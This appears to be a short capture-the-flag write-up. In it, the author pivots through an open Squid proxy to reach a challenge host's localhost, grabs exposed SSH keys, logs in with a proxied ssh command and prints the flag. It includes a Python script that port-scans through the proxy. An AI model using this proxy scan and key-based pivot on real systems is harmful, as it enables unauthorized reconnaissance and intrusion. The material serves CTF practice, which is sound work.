2024-10-18 Permissions To Proxy (Miscellaneous)

Trying to scan back at 172.0.01 through the proxy, nmap wasn’t working well with squid, there is a script at the bottom that was faster and showed the ports.

This is better results

We could get the directory with a GET here, now for a foothold or shell.

Can’t just cat the flag, not root.

Grabbed the ssh keys here

Other interesting exposted file

ssh -i id_rsa [user@127.0.0.1](mailto:user@127.0.0.1) -o "ProxyCommand=connect-proxy -H challenge.ctf.games:30114 %h %p"

Okay shell but it’s wonky.

Trying to find access


flag{c9bbd4888086111e9f632d4861c103f1}

Other faster script for scanning

import aiohttp
import asyncio

# Proxy details
proxy_address = "http://challenge.ctf.games:32107"

# Target IP and base port to scan
target_ip = "127.0.0.1"

# Logging file to store results
log_file = "curl_scan_results_async.log"
# Starting and ending port range
start_port = 49000
end_port = 65535

# Number of concurrent connections (tweak this based on your system's limits)
max_connections = 3

# Function to perform an asynchronous HTTP request
async def curl_request(session, port):
    url = f"http://{target_ip}:{port}"

    try:
        # Perform the asynchronous HTTP request using aiohttp with a proxy
        async with session.get(url, proxy=proxy_address, timeout=5) as response:
            if response.status == 200:
                with open(log_file, "a") as log:
                    log.write(f"Open service found on {url}\n")
                print(f"Open service found on {url}")
    except Exception as e:
        with open(log_file, "a") as log:
            log.write(f"Error connecting to {url}: {e}\n")
        print(f"Error connecting to {url}: {e}")

# Function to manage asynchronous port scanning
async def scan_ports_concurrently():
    connector = aiohttp.TCPConnector(limit_per_host=max_connections)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [curl_request(session, port) for port in range(start_port, end_port + 1)]
        await asyncio.gather(*tasks)

# Main function to run the async event loop
if __name__ == "__main__":
    asyncio.run(scan_ports_concurrently())
    print(f"Scan complete. Results stored in {log_file}.")